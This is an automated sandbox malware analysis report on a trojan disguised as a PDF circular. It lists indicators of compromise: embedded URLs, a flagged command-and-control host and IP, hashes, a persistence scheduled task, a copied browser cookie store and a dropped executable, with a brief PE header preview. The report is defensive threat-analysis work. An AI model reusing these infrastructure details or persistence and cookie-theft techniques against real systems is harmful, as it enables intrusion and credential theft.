                          • URL Reputation: safe
                          unknown
                          http://www.fontbureau.com/designersNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                            high
                            http://www.goodfont.co.krNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                            • URL Reputation: safe
                            • URL Reputation: safe
                            • URL Reputation: safe
                            • URL Reputation: safe
                            unknown
                            http://www.carterandcone.comNEW-P&I_Circularpdf.exe, 00000000.00000003.645181408.0000000006173000.00000004.00000001.sdmpfalse
                            • URL Reputation: safe
                            • URL Reputation: safe
                            • URL Reputation: safe
                            • URL Reputation: safe
                            unknown
                            https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.cssNEW-P&I_Circularpdf.exe, 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmpfalse
                              high
                              http://www.jiyu-kobo.co.jp/Y0dlNEW-P&I_Circularpdf.exe, 00000000.00000003.645321880.0000000006175000.00000004.00000001.sdmpfalse
                              • Avira URL Cloud: safe
                              unknown
                              http://www.sajatypeworks.comNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              unknown
                              http://www.jiyu-kobo.co.jp/9NEW-P&I_Circularpdf.exe, 00000000.00000003.645558257.0000000006173000.00000004.00000001.sdmpfalse
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              unknown
                              http://www.typography.netDNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              unknown
                              http://www.founder.com.cn/cn/cTheNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              unknown
                              http://www.galapagosdesign.com/staff/dennis.htmNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              unknown
                              http://fontfabrik.comNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              unknown
                              http://WArrNU.comNEW-P&I_Circularpdf.exe, 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmpfalse
                              • Avira URL Cloud: safe
                              unknown
                              http://www.fonts.comnNEW-P&I_Circularpdf.exe, 00000000.00000003.642120228.000000000618B000.00000004.00000001.sdmpfalse
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              unknown
                              http://www.galapagosdesign.com/DPleaseNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              unknown
                              https://api.ipify.org%GETMozilla/5.0NEW-P&I_Circularpdf.exe, 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmpfalse
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              low
                              http://www.fonts.comNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                                high
                                http://www.sandoll.co.krNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                                • URL Reputation: safe
                                • URL Reputation: safe
                                • URL Reputation: safe
                                unknown
                                http://www.jiyu-kobo.co.jp/jp/TNEW-P&I_Circularpdf.exe, 00000000.00000003.645321880.0000000006175000.00000004.00000001.sdmpfalse
                                • Avira URL Cloud: safe
                                unknown
                                http://www.urwpp.deDPleaseNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                                • URL Reputation: safe
                                • URL Reputation: safe
                                • URL Reputation: safe
                                unknown
                                http://www.zhongyicts.com.cnNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                                • URL Reputation: safe
                                • URL Reputation: safe
                                • URL Reputation: safe
                                unknown
                                http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameNEW-P&I_Circularpdf.exe, 00000000.00000002.668911684.00000000030F1000.00000004.00000001.sdmp, NEW-P&I_Circularpdf.exe, 00000000.00000002.668996521.0000000003155000.00000004.00000001.sdmpfalse
                                  high
                                  http://www.sakkal.comNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  unknown
                                  https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zipNEW-P&I_Circularpdf.exe, 00000000.00000002.670515313.000000000428B000.00000004.00000001.sdmp, NEW-P&I_Circularpdf.exe, 00000008.00000002.907967195.0000000000402000.00000040.00000001.sdmpfalse
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  unknown
                                  http://mail.1300dentrepair.com.auNEW-P&I_Circularpdf.exe, 00000008.00000002.910607840.000000000341B000.00000004.00000001.sdmpfalse
                                  • Avira URL Cloud: safe
                                  unknown
                                  http://www.apache.org/licenses/LICENSE-2.0NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                                    high
                                    http://www.fontbureau.comNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                                      high
                                      http://DynDns.comDynDNSNEW-P&I_Circularpdf.exe, 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmpfalse
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      unknown
                                      http://www.fontbureau.comFNEW-P&I_Circularpdf.exe, 00000000.00000002.677713745.000000000617A000.00000004.00000001.sdmpfalse
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      unknown
                                      http://www.fonts.comcNEW-P&I_Circularpdf.exe, 00000000.00000003.642100886.000000000618B000.00000004.00000001.sdmpfalse
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      unknown
                                      http://www.jiyu-kobo.co.jp/TNEW-P&I_Circularpdf.exe, 00000000.00000003.645181408.0000000006173000.00000004.00000001.sdmpfalse
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      unknown
                                      https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%haNEW-P&I_Circularpdf.exe, 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmpfalse
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      unknown
                                      http://www.jiyu-kobo.co.jp/HNEW-P&I_Circularpdf.exe, 00000000.00000003.645558257.0000000006173000.00000004.00000001.sdmpfalse
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      unknown
                                      http://www.jiyu-kobo.co.jp/FNEW-P&I_Circularpdf.exe, 00000000.00000003.645558257.0000000006173000.00000004.00000001.sdmpfalse
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      unknown
                                      http://www.jiyu-kobo.co.jp/jp/NEW-P&I_Circularpdf.exe, 00000000.00000003.645321880.0000000006175000.00000004.00000001.sdmp, NEW-P&I_Circularpdf.exe, 00000000.00000003.645558257.0000000006173000.00000004.00000001.sdmpfalse
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      unknown
                                      http://www.fontbureau.come.comNEW-P&I_Circularpdf.exe, 00000000.00000002.677713745.000000000617A000.00000004.00000001.sdmpfalse
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      unknown
                                      http://www.jiyu-kobo.co.jp/jp/xNEW-P&I_Circularpdf.exe, 00000000.00000003.645737096.000000000617A000.00000004.00000001.sdmpfalse
                                      • Avira URL Cloud: safe
                                      unknown
                                      https://api.ipify.org%$NEW-P&I_Circularpdf.exe, 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmpfalse
                                      • Avira URL Cloud: safe
                                      low
                                      http://www.carterandcone.comlNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      unknown
                                      http://www.fontbureau.com/designers/cabarga.htmlNNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                                        high
                                        http://www.founder.com.cn/cnNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                                        • URL Reputation: safe
                                        • URL Reputation: safe
                                        • URL Reputation: safe
                                        unknown
                                        http://www.jiyu-kobo.co.jp/xNEW-P&I_Circularpdf.exe, 00000000.00000003.645321880.0000000006175000.00000004.00000001.sdmpfalse
                                        • URL Reputation: safe
                                        • URL Reputation: safe
                                        • URL Reputation: safe
                                        unknown
                                        http://www.fontbureau.com/designers/frere-user.htmlNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                                          high
                                          https://N2oCWMiTpgUuukNONm.comNEW-P&I_Circularpdf.exe, 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmpfalse
                                          • Avira URL Cloud: safe
                                          unknown
                                          http://1300dentrepair.com.auNEW-P&I_Circularpdf.exe, 00000008.00000002.910607840.000000000341B000.00000004.00000001.sdmpfalse
                                          • Avira URL Cloud: safe
                                          unknown
                                          http://www.jiyu-kobo.co.jp/NEW-P&I_Circularpdf.exe, 00000000.00000003.645181408.0000000006173000.00000004.00000001.sdmp, NEW-P&I_Circularpdf.exe, 00000000.00000003.645737096.000000000617A000.00000004.00000001.sdmp, NEW-P&I_Circularpdf.exe, 00000000.00000003.645525062.000000000617C000.00000004.00000001.sdmpfalse
                                          • URL Reputation: safe
                                          • URL Reputation: safe
                                          • URL Reputation: safe
                                          unknown
                                          http://www.fontbureau.com/designers8NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                                            high
                                            http://www.jiyu-kobo.co.jp/jNEW-P&I_Circularpdf.exe, 00000000.00000003.645321880.0000000006175000.00000004.00000001.sdmpfalse
                                            • Avira URL Cloud: safe
                                            unknown
                                            http://www.jiyu-kobo.co.jp/hNEW-P&I_Circularpdf.exe, 00000000.00000003.645525062.000000000617C000.00000004.00000001.sdmpfalse
                                              unknown
                                              http://www.fontbureau.comicFaNEW-P&I_Circularpdf.exe, 00000000.00000002.677713745.000000000617A000.00000004.00000001.sdmpfalse
                                              • Avira URL Cloud: safe
                                              unknown
                                              http://www.jiyu-kobo.co.jp/aNEW-P&I_Circularpdf.exe, 00000000.00000003.645321880.0000000006175000.00000004.00000001.sdmpfalse
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              unknown

                                              Contacted IPs

                                              • No. of IPs < 25%
                                              • 25% < No. of IPs < 50%
                                              • 50% < No. of IPs < 75%
                                              • 75% < No. of IPs

                                              Public

                                              IPDomainCountryFlagASNASN NameMalicious
                                              173.237.136.115
                                              1300dentrepair.com.auUnited States
                                              62729ASMALLORANGE1UStrue

                                              General Information

                                              Joe Sandbox Version:31.0.0 Emerald
                                              Analysis ID:383960
                                              Start date:08.04.2021
                                              Start time:13:09:33
                                              Joe Sandbox Product:CloudBasic
                                              Overall analysis duration:0h 9m 39s
                                              Hypervisor based Inspection enabled:false
                                              Report type:light
                                              Sample file name:NEW-P&I_Circularpdf.exe
                                              Cookbook file name:default.jbs
                                              Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                              Number of analysed new started processes analysed:21
                                              Number of new started drivers analysed:0
                                              Number of existing processes analysed:0
                                              Number of existing drivers analysed:0
                                              Number of injected processes analysed:0
                                              Technologies:
                                              • HCA enabled
                                              • EGA enabled
                                              • HDC enabled
                                              • AMSI enabled
                                              Analysis Mode:default
                                              Analysis stop reason:Timeout
                                              Detection:MAL
                                              Classification:mal100.troj.spyw.evad.winEXE@8/5@5/1
                                              EGA Information:Failed
                                              HDC Information:Failed
                                              HCA Information:
                                              • Successful, ratio: 95%
                                              • Number of executed functions: 0
                                              • Number of non-executed functions: 0
                                              Cookbook Comments:
                                              • Adjust boot time
                                              • Enable AMSI
                                              • Found application associated with file extension: .exe
                                              Warnings:
                                              Show All
                                              • Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe
                                              • Excluded IPs from analysis (whitelisted): 104.43.139.144, 23.54.113.53, 13.64.90.137, 52.147.198.201, 40.88.32.150, 20.50.102.62, 52.155.217.156, 20.54.26.129, 23.0.174.185, 23.0.174.200, 20.82.210.154, 23.10.249.26, 23.10.249.43
                                              • Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, arc.msn.com.nsatc.net, store-images.s-microsoft.com-c.edgekey.net, a1449.dscg2.akamai.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, skypedataprdcoleus15.cloudapp.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, consumerrp-displaycatalog-aks2eap.md.mp.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, skypedataprdcolwus17.cloudapp.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, skypedataprdcolcus16.cloudapp.net, a767.dscg3.akamai.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net
                                              • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                              • Report size getting too big, too many NtOpenKeyEx calls found.
                                              • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                              • Report size getting too big, too many NtQueryValueKey calls found.

                                              Simulations

                                              Behavior and APIs

                                              TimeTypeDescription
                                              13:10:22API Interceptor716x Sleep call for process: NEW-P&I_Circularpdf.exe modified

                                              Joe Sandbox View / Context

                                              IPs

                                              MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                              173.237.136.115P&I_Circularpdf.exeGet hashmaliciousBrowse
                                                P_I_Circularpdf.exeGet hashmaliciousBrowse
                                                  SQMrG4GNtt.exeGet hashmaliciousBrowse
                                                    7ioqXtpxzB.exeGet hashmaliciousBrowse
                                                      LSttFMPFxl.exeGet hashmaliciousBrowse
                                                        8D19uC6H6A.exeGet hashmaliciousBrowse
                                                          INV2102-MDRTCL.xlsxGet hashmaliciousBrowse
                                                            EQdgnQglqz.exeGet hashmaliciousBrowse
                                                              BA_Invoices.xlsxGet hashmaliciousBrowse
                                                                winlog.exeGet hashmaliciousBrowse
                                                                  LoadingdocMVSORSI.xlsxGet hashmaliciousBrowse
                                                                    SecuriteInfo.com.Trojan.PackedNET.607.7165.exeGet hashmaliciousBrowse
                                                                      LoadingdocMVSORSI.xlsxGet hashmaliciousBrowse
                                                                        HzfHUVKWqg.exeGet hashmaliciousBrowse
                                                                          voguUVXD6D.exeGet hashmaliciousBrowse
                                                                            1801011HUASHAN_FDApdf.exeGet hashmaliciousBrowse
                                                                              winlog.exeGet hashmaliciousBrowse
                                                                                FebRevisedSOA.xlsxGet hashmaliciousBrowse
                                                                                  FebRevisedSOA.xlsxGet hashmaliciousBrowse
                                                                                    xpSmHSVgQ6.exeGet hashmaliciousBrowse

                                                                                      Domains

                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                      1300dentrepair.com.auSQMrG4GNtt.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      7ioqXtpxzB.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      LSttFMPFxl.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      8D19uC6H6A.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      INV2102-MDRTCL.xlsxGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      EQdgnQglqz.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      BA_Invoices.xlsxGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      winlog.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      LoadingdocMVSORSI.xlsxGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      SecuriteInfo.com.Trojan.PackedNET.607.7165.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      LoadingdocMVSORSI.xlsxGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      HzfHUVKWqg.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      voguUVXD6D.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      1801011HUASHAN_FDApdf.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      winlog.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      FebRevisedSOA.xlsxGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      FebRevisedSOA.xlsxGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      xpSmHSVgQ6.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.115

                                                                                      ASN

                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                      ASMALLORANGE1USdocument-933340782.xlsmGet hashmaliciousBrowse
                                                                                      • 143.95.33.96
                                                                                      document-933340782.xlsmGet hashmaliciousBrowse
                                                                                      • 143.95.33.96
                                                                                      P&I_Circularpdf.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      P_I_Circularpdf.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      document-767588369.xlsmGet hashmaliciousBrowse
                                                                                      • 143.95.33.96
                                                                                      document-767588369.xlsmGet hashmaliciousBrowse
                                                                                      • 143.95.33.96
                                                                                      cGlrfwymND.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.21
                                                                                      lC72iEZYZ3.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.21
                                                                                      SQMrG4GNtt.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      7ioqXtpxzB.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      LSttFMPFxl.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      document-1529481003.xlsmGet hashmaliciousBrowse
                                                                                      • 143.95.33.96
                                                                                      document-1848958962.xlsmGet hashmaliciousBrowse
                                                                                      • 143.95.33.96
                                                                                      document-1848958962.xlsmGet hashmaliciousBrowse
                                                                                      • 143.95.33.96
                                                                                      document-227495331.xlsmGet hashmaliciousBrowse
                                                                                      • 143.95.33.96
                                                                                      document-227495331.xlsmGet hashmaliciousBrowse
                                                                                      • 143.95.33.96
                                                                                      8D19uC6H6A.exeGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      INV2102-MDRTCL.xlsxGet hashmaliciousBrowse
                                                                                      • 173.237.136.115
                                                                                      document-2112297424.xlsmGet hashmaliciousBrowse
                                                                                      • 143.95.33.96
                                                                                      document-2112297424.xlsmGet hashmaliciousBrowse
                                                                                      • 143.95.33.96

                                                                                      JA3 Fingerprints

                                                                                      No context

                                                                                      Dropped Files

                                                                                      No context

                                                                                      Created / dropped Files

                                                                                      C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NEW-P&I_Circularpdf.exe.log
                                                                                      Process:C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe
                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                      Category:modified
                                                                                      Size (bytes):1314
                                                                                      Entropy (8bit):5.350128552078965
                                                                                      Encrypted:false
                                                                                      SSDEEP:24:MLU84jE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4sAmEw:MgvjHK5HKXE1qHiYHKhQnoPtHoxHhAHR
                                                                                      MD5:1DC1A2DCC9EFAA84EABF4F6D6066565B
                                                                                      SHA1:B7FCF805B6DD8DE815EA9BC089BD99F1E617F4E9
                                                                                      SHA-256:28D63442C17BF19558655C88A635CB3C3FF1BAD1CCD9784090B9749A7E71FCEF
                                                                                      SHA-512:95DD7E2AB0884A3EFD9E26033B337D1F97DDF9A8E9E9C4C32187DCD40622D8B1AC8CCDBA12A70A6B9075DF5E7F68DF2F8FBA4AB33DB4576BE9806B8E191802B7
                                                                                      Malicious:true
                                                                                      Reputation:high, very likely benign file
                                                                                      Preview: 1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a
                                                                                      C:\Users\user\AppData\Local\Temp\tmpBA76.tmp
                                                                                      Process:C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe
                                                                                      File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                      Category:dropped
                                                                                      Size (bytes):1639
                                                                                      Entropy (8bit):5.169921758999597
                                                                                      Encrypted:false
                                                                                      SSDEEP:24:2dH4+SEqC/S7hblNMFp//rlMhEMjnGpwjpIgUYODOLD9RJh7h8gKBGqtn:cbhK79lNQR/rydbz9I3YODOLNdq37
                                                                                      MD5:43373B9D5A48D8419A557B07F35F5896
                                                                                      SHA1:2FF94AB496897AF7F51E531CE9A6FBBC6FDFC96B
                                                                                      SHA-256:B09542AE227BFD70AFB23CB4E2E9026C9D32BD77E85E052A65AA15A3205BADC4
                                                                                      SHA-512:7F049DFE750BECFFAA05E41C5DF0390B0D067E8FFF3C6E586A3D94E99E80CA31EF5E47349B8FB8DEEDA13B6D41EC23B2E949A2D36641F688CD024D7C757FBF61
                                                                                      Malicious:true
                                                                                      Reputation:low
                                                                                      Preview: <?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. <UserId>computer\user</UserId>.. </LogonTrigger>.. <RegistrationTrigger>.. <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <UserId>computer\user</UserId>.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>LeastPrivilege</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true
                                                                                      C:\Users\user\AppData\Roaming\sakl01lr.4lx\Chrome\Default\Cookies
                                                                                      Process:C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe
                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                      Category:dropped
                                                                                      Size (bytes):20480
                                                                                      Entropy (8bit):0.7006690334145785
                                                                                      Encrypted:false
                                                                                      SSDEEP:24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBoe9H6pf1H1oNQ:T5LLOpEO5J/Kn7U1uBobfvoNQ
                                                                                      MD5:A7FE10DA330AD03BF22DC9AC76BBB3E4
                                                                                      SHA1:1805CB7A2208BAEFF71DCB3FE32DB0CC935CF803
                                                                                      SHA-256:8D6B84A96429B5C672838BF431A47EC59655E561EBFBB4E63B46351D10A7AAD8
                                                                                      SHA-512:1DBE27AED6E1E98E9F82AC1F5B774ACB6F3A773BEB17B66C2FB7B89D12AC87A6D5B716EF844678A5417F30EE8855224A8686A135876AB4C0561B3C6059E635C7
                                                                                      Malicious:false
                                                                                      Reputation:moderate, very likely benign file
                                                                                      Preview: SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                      C:\Users\user\AppData\Roaming\sfgTsm.exe
                                                                                      Process:C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe
                                                                                      File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                      Category:dropped
                                                                                      Size (bytes):985088
                                                                                      Entropy (8bit):7.515094918099381
                                                                                      Encrypted:false
                                                                                      SSDEEP:24576:uAbYagDnDIWBEZFMKzobF1b0kZSKfElfpBrZKG/rZKuum:caynsnDonb0kCnMOd
                                                                                      MD5:182216A47605C50DB6B8796ADFF4E3F9
                                                                                      SHA1:06C36B24B2D877600500590D2B57F670D58773FC
                                                                                      SHA-256:408D0B8CF4DF11F74ECD574DCCDCC5BC7FDF483FCE512401E0C767E801815357
                                                                                      SHA-512:654E99EE9AD6A52A87E03B1C13C1F44284F004713C42D9FB464F635DD6259682F6DF0CC661A923C9CC9298C03137170342ED81E6F6DC4F79CC060E3589305ACD
                                                                                      Malicious:true
                                                                                      Antivirus:
                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                      • Antivirus: ReversingLabs, Detection: 23%
                                                                                      Reputation:low
                                                                                      Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.m`..............P..`............... ........@.. .......................`............@.................................d...O............................@....................................................... ............... ..H............text...._... ...`.................. ..`.rsrc................b..............@..@.reloc.......@......................@..B........................H.......|<...O..........d................................................0............(....(..........(.....o.....*.....................( ......(!......("......(#......($....*N..(....o....(%....*&..(&....*.s'........s(........s)........s*........s+........*....0...........~....o,....+..*.0...........~....o-....+..*.0...........~....o.....+..*.0...........~....o/....+..*.0...........~....o0....+..*.0..<........~.....(1.....,!r...p.....(2...o3...s4............~.....+..*.0......
                                                                                      C:\Users\user\AppData\Roaming\sfgTsm.exe:Zone.Identifier
                                                                                      Process:C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe
                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                      Category:dropped
                                                                                      Size (bytes):26
                                                                                      Entropy (8bit):3.95006375643621
                                                                                      Encrypted:false
                                                                                      SSDEEP:3:ggPYV:rPYV
                                                                                      MD5:187F488E27DB4AF347237FE461A079AD
                                                                                      SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                      SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                      SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                      Malicious:true
                                                                                      Reputation:high, very likely benign file
                                                                                      Preview: [ZoneTransfer]....ZoneId=0

                                                                                      Static File Info

                                                                                      General

                                                                                      File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                      Entropy (8bit):7.515094918099381
                                                                                      TrID:
                                                                                      • Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                                                                                      • Win32 Executable (generic) a (10002005/4) 49.78%
                                                                                      • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                                      • Generic Win/DOS Executable (2004/3) 0.01%
                                                                                      • DOS Executable Generic (2002/1) 0.01%
                                                                                      File name:NEW-P&I_Circularpdf.exe
                                                                                      File size:985088
                                                                                      MD5:182216a47605c50db6b8796adff4e3f9
                                                                                      SHA1:06c36b24b2d877600500590d2b57f670d58773fc
                                                                                      SHA256:408d0b8cf4df11f74ecd574dccdcc5bc7fdf483fce512401e0c767e801815357
